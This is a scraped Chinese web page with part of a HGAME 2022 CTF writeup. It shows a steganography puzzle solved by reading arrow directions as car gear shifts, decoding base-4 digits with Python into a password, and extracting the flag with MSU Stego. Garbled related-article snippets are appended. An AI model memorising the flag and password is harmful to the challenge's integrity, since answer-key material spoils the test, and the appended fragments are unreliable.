4 up left down up right down up left up down right down up left down up right down up left up down right down up left down up right up down left up down right down up left down up right down up left up down right down up left up down down up up down right down up left up down right up down left up down right down up left up down right up

gift.mp4视频中,出题人切屏的时候得到一个信息
在这里插入图片描述
gift2.avi极大可能使用了msu steg,但是msu steg解视频文件需要一个数字密码
NTFS流隐藏的文件提到的是开车,然后一个4开头,之后就是上下左右的方向,用笔画了一下
在这里插入图片描述
画来画去得到一个H形状,联想到提到车,猜测可能是手动挡车的挡位
在这里插入图片描述
4档开始,始终在1-4档移动,猜测可能是四进制,把移动过程中经过的挡位记录下来
在这里插入图片描述
得到一串数字,Python简单处理得到一串数字

from binascii import *

data = '424142414231424141214131413'
quater_num = ''
for n in data:
    quater_num += str(int(n)-1)
flag = unhexlify(hex(int(quater_num, 4))[2:])
print(flag)


PS C:UsersAdministratorDownloadsgiftgift> python .code.py
b'7767122'

MSU Stego
在这里插入图片描述

hgame{Q1ng_R3n_J1e_Da_Sh4_CTF}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

HGAME 2022 Writeup 的相关文章

  • 2022-3-19(洛谷)

    阶乘数码 xff08 高精乘 xff09 题目描述 求 n 中某个数码出现的次数 输入格式 第一行为 t t 10 xff0c 表示数据组数 接下来 t 行 xff0c 每行一个正整数 n n 1000 和数码 a 输出格式 对于每组数据
  • 洛谷刷题整理(python)-2022.01.29

    P1179 NOIP2010 普及组 数字统计 python代码 https blog csdn net qq872890060 article details 120871329 P1255 数楼梯 方法一 xff08 python3实现
  • 2022 New Year‘s Resolution

    Some Might Say 2022 New Year 39 s Resolution Some might say we are on the edge of the new era Always are they saying thi
  • 2022 12 3

    将遭遇的苦难试做上天所给予的理所当然 xff0c 当撑不下去后 xff0c 就用肉泥与血液筑就保护幸福和快乐的围墙 xff0c 人的一生便如此草草地收尾了
  • 2022 *CTF REVERSE 的 NaCl

    2022 CTF REVERSE 的 NaCl 下载附件 xff1a 照例扔入 exeinfope 中查看信息 xff1a 照例扔入虚拟机中运行一下 xff0c 查看主要回显信息 xff1a 照例扔入 IDA64 中查看伪代码 xff0c
  • 2022/12/30总结

    今日学习了二叉树有关知识 二叉树 二叉树通俗来讲就是一个有俩个指针的链表 他们大多长这个样子 xff1a 这里还有俩个概念了 xff0c 二叉树分为完全二叉树和满二叉树 上面所说的是满二叉树 xff0c 顾名思义就是每个父节点都相应的有俩个
  • 【2022阿里灵犀互娱】游戏测开笔试AC_Code

    测开笔试 xff0c 90分钟 xff0c 3道编程题 43 八股 xff0c 第二题输出格式模拟题 xff0c 就不贴了 T1 进制转换 题意 有一个数 xff0c 可能是2 xff5e 16进制的其中之一 xff0c 算出所有可能的结果
  • 2022年度GitHub最火的力扣算法刷题宝典,手把手教你如何刷力扣~

    前言 昨晚逛了逛GitHub xff0c 无意中看到一位P8大佬的算法刷题笔记 xff0c 感觉发现了宝藏 xff01 有些小伙伴可能已经发现了 xff0c 但咱这里还是忍不住安利一波 xff0c 怕有些小伙伴没有看到 关于算法刷题的困惑和
  • JS中函数与作用域的定义(日志-2022.3.28)

    1 函数中的两种命名方式 xff1a 1 利用函数关键字function自定义函数 xff08 命名函数 xff09 function fu xff08 xff09 fn 2 利用函数表达式 xff08 匿名函数 xff09 var 变量名
  • Linux面试题总结(2022最新版)

    关于作者 x1f436 程序猿周周 短视频小厂BUG攻城狮 x1f93a 如果文章对你有帮助 xff0c 记得关注 点赞 收藏 xff0c 一键三连哦 xff0c 你的支持将成为我最大的动力 本文是 后端面试小册子 系列的第 5 篇文章 x
  • Visual Studio 2022 C++开发 (Win)配置教程

    前言 本文将讲解如何在Window系统下配置Visual Studio 2022版本的C 43 43 开发环境 步骤 下载并且安装Visual Studio Tools xff08 1 xff09 下载 Visual Studio Tool
  • ECCV 2022 | 清华&腾讯AI Lab提出REALY: 重新思考3D人脸重建的评估方法

    作者丨人脸人体重建 来源丨人脸人体重建 编辑丨极市平台 极市导读 本文围绕3D人脸重建的评估方式进行了重新的思考和探索 作者团队通过构建新数据集RELAY xff0c 囊括了更丰富以及更高质量的脸部区域信息 xff0c 并借助新的流程对先前
  • Visual Studio 2022下载安装

    Visual Studio 2022下载安装 1 进入官网 官网地址 xff1a https visualstudio microsoft com 这里以Windows操作系统为例 根据需要选择版本 xff0c 我这里下载的是Enterpr
  • 攻防世界-ics-05题

    ics 05题 php伪协议 题目分析 preg replace函数漏洞 php伪协议 常用方式 file php filter read convert base64 encode resource index php 用来查看index
  • BUUCTF [GWCTF 2019] 我有一个数据库

    BUUCTF GWCTF 2019 我有一个数据库 考点 目录扫描 phpmyadmin 4 8 1 远程文件包含漏洞 CVE 2018 12613 启动环境 应该是为乱码 结合题目名 应该与数据库有关 寻找提示无果 使用dirsearch
  • getBoundingClientRect offsetWidth offsetHeight

    对于一个旋转的dom元素 getBoundingClientRect 得到的width height是外接矩形的宽高 offsetWidth offsetHeight是未旋转前dom的宽高
  • Bugkuctf--逆向第三题游戏过关题解

    题目链接 https ctf bugku com challenges 先让我们来打开文件 既然题目都说是游戏过关了 那就玩玩这个游戏呗 雾 游戏还是很简单的 但显然这道题应该用逆向的思维来做 废话 正式部分 逆向的题拿到手一般能考虑的工具
  • 南邮CTF平台writeup:Web(一)

    签到题 查看网页源代码即可 md5 collision md51 md5 QNKCDZO a GET a md52 md5 a if isset a if a QNKCDZO md51 md52 echo nctf else echo fa
  • pixi.js 导出部分区域裁剪图片

    方案 先通过api到出image对象 在通过canvas绘制图片 在导出数据 代码 const x y this app stage getBounds 超出的x y const stageImage this app renderer p
  • 某**集团夺旗赛的一道隐写题

    解压压缩包 解压出来一个文件file 使用file命令进行查看 发现是data 010查看也无果 看到标题是logistic联想到是否与xor文件有关 遂使用工具xortool 工具在此 xortool file 选概率最大的那个 13 x

随机推荐

  • JS说古道今

    JS说古道今 本文概要 讲述js的来源及重要的语法特性 xff0c 包括数据类型 DOM 作用域等 xff08 由于专业性比较强就不写诗扯淡了 61 61 xff0c 我尽量写的有趣点吧 JS JSP xff1f JavaScript xf
  • 删除集合当中的空元素(Collections.singleton(null)与stream())

    Arrays asList创建的数据为定长集合 xff0c 集合长度在操作时是不可以改变的 xff0c 不能对集合进行增删操作 Collections singleton null 相关 span class token comment 反
  • RabbitMQ配置更改TCP默认端口5672

    前言 公司新项目需集成RabbitMQ xff0c 但服务器环境已经安装了ActiveMQ 今天同事不说还不知道 xff0c 导致安装后俩MQ打架 端口冲突 而发生的一系列问题 没办法 xff0c 后来居上的就很被动 xff0c 于是就得改
  • WebSocket服务端消息推送

    前言 xff1a 移动互联网蓬勃发展的今天 xff0c 大部分手机 APP和网站都提供了消息推送功能 xff0c 如新闻客户端的热点新闻推荐 xff0c IM 工具的聊天消息提醒 xff0c 电商产品促销信息 xff0c 企业应用的通知和审
  • tomcat7下载

    百度网盘下载 xff1a 链接 xff1a https pan baidu com s 1qbaxHo0dEdL9JC08yzbL6Q 提取码 xff1a ysz9
  • Springboot查看日志

    Springboot查看日志 以前用springMVC时查看日志直接进入tail f out 但是用了springboot之后 xff0c 一时不知道如何实现 xff0c 记录一下 以下以log4j2为日志框架 先在log4j2 xml中添
  • 爬取CSDN专栏文章到本地,并保存为html、pdf、md格式

    前言 突然想爬取CSDN的专栏文章到本地保存了 xff0c 为了影响小一点 xff0c 特地挑选CSDN的首页进行展示 综合资讯这一测试点是什么找到的呢 xff1f 就是点击下图的热点文章 xff0c 然后跳转到具体文章 xff0c 然后再
  • Spring入门第一讲——Spring框架的快速入门

    Spring的概述 什么是Spring xff1f 我们可以从度娘上看到这样有关Spring的介绍 xff1a 说得更加详细一点 xff0c Spring是一个开源框架 xff0c Spring是于2003年兴起的一个轻量级的Java开发框
  • 手动清理RabbitMq队列中的消息

    一 手动删除队列中指定个数的消息 打开RabbitMq管理页面 xff0c 进入队列 点击 Get messages Requeue 改成No Mesaages 设置一个值 点击Get messages 二 一次清理队列中的所有消息 打开R
  • 关于Spring核心配置文件中的各项主要配置

    1 xff1a Spring的核心配置文件中的各种配置 spring的核心配置文件的名字 叫做 applicationContext xml xff0c 后期也可以通过配置文件修改名称 xff0c 在web xml中进行如下修改 xff1a
  • JVM内存设置

    对于jvm的设置我一直知道的很少 xff0c 有时候遇到outOfMemoryError只会一个简单的设置 Xms256m Xmx512m 有几个问题一直没搞明白 xff1a 1 jvm的内存大小究竟应该设置成多少最合适 xff1f 2 j
  • 闭包,一个浪漫的故事

    闭包 xff0c 一个浪漫的故事 前 今天稍微说一下js中的闭包 xff0c 这是个新手很少遇到的老手不常遇到的问题 xff0c 他的出现主要是为了帮我们规避问题 xff0c 另外提供了一种解决问题的新途径 xff0c 这里先说明一点啊 x
  • vue中集成jsplumb报错`Cannot read property ‘parentNode‘ of null`,且无法渲染连线的问题

    简介 我在项目中使用了typescript 43 vue 43 jsplumb作为流程图框架 问题 我在容器中使用的是v for指令渲染 从配置文件中读取流程图的json并且存入this items变量中通过v for指令 xff0c 调用
  • [webpack-cli] Invalid options object. Dev Server has been initialized using an options object

    问题内容 xff1a webpack cli Invalid options object Dev Server has been initialized using an options object that does not matc
  • 使用idea创建web项目

    前言 xff1a 很高兴能够用自己所学知识为你提供答疑 xff01 xff01 xff01 今天我就来操作下如何使用idea这款软件创建web项目 步骤 xff1a 1 创建项目 首先新建一个项目 然后选择最后一个 xff0c 创建一个空白
  • 基于若依开发管理项目中引入工作流引擎activiti7,包含前后端(原创)

    原项目中用到了工作流引擎 xff0c 使用若依框架开发 xff0c 原二开使用项目 xff1a https gitee com y project RuoYi Vue 基于activiti7地址 xff1a https gitee com
  • 最新方法VScode中html代码自动补全(超清晰详细,保证能用)

    一 下载HTML Snippets插件 二 配置settings json 1 在VScode窗口下按住ctrl 43 shift 43 P xff0c 调出搜索框 xff0c 在搜索框中输入settings json xff0c 选择打开
  • 计算机毕业设计-基于SpringBoot+Vue的新冠疫苗预约接种管理系统

    计算机毕业设计 基于SpringBoot 43 Vue的新冠疫苗预约接种管理系统 1 开发环境及工具下载 开发语言 xff1a Java架构 xff1a B S框架 xff1a SpringBoot 43 vue数据库 xff1a MySQ
  • core-js介绍及安装使用

    前言 这里就和大家说一下core js的开发者 xff0c 也是网上查阅的资料 core js的作者 xff1a 一位彪悍的俄罗斯程序员 xff0c 名字叫丹尼斯 普什卡列夫 xff08 Denis Pushkarev xff09 xff0
  • HGAME 2022 Writeup

    文章目录 Level Week1 WEB easy auth蛛蛛 嘿嘿 我的蛛蛛Tetris plusFujiwara Tofu Shop MISC 欢迎欢迎 xff01 热烈欢迎 xff01 这个压缩包有点麻烦好康的流量群青 其实是幽灵东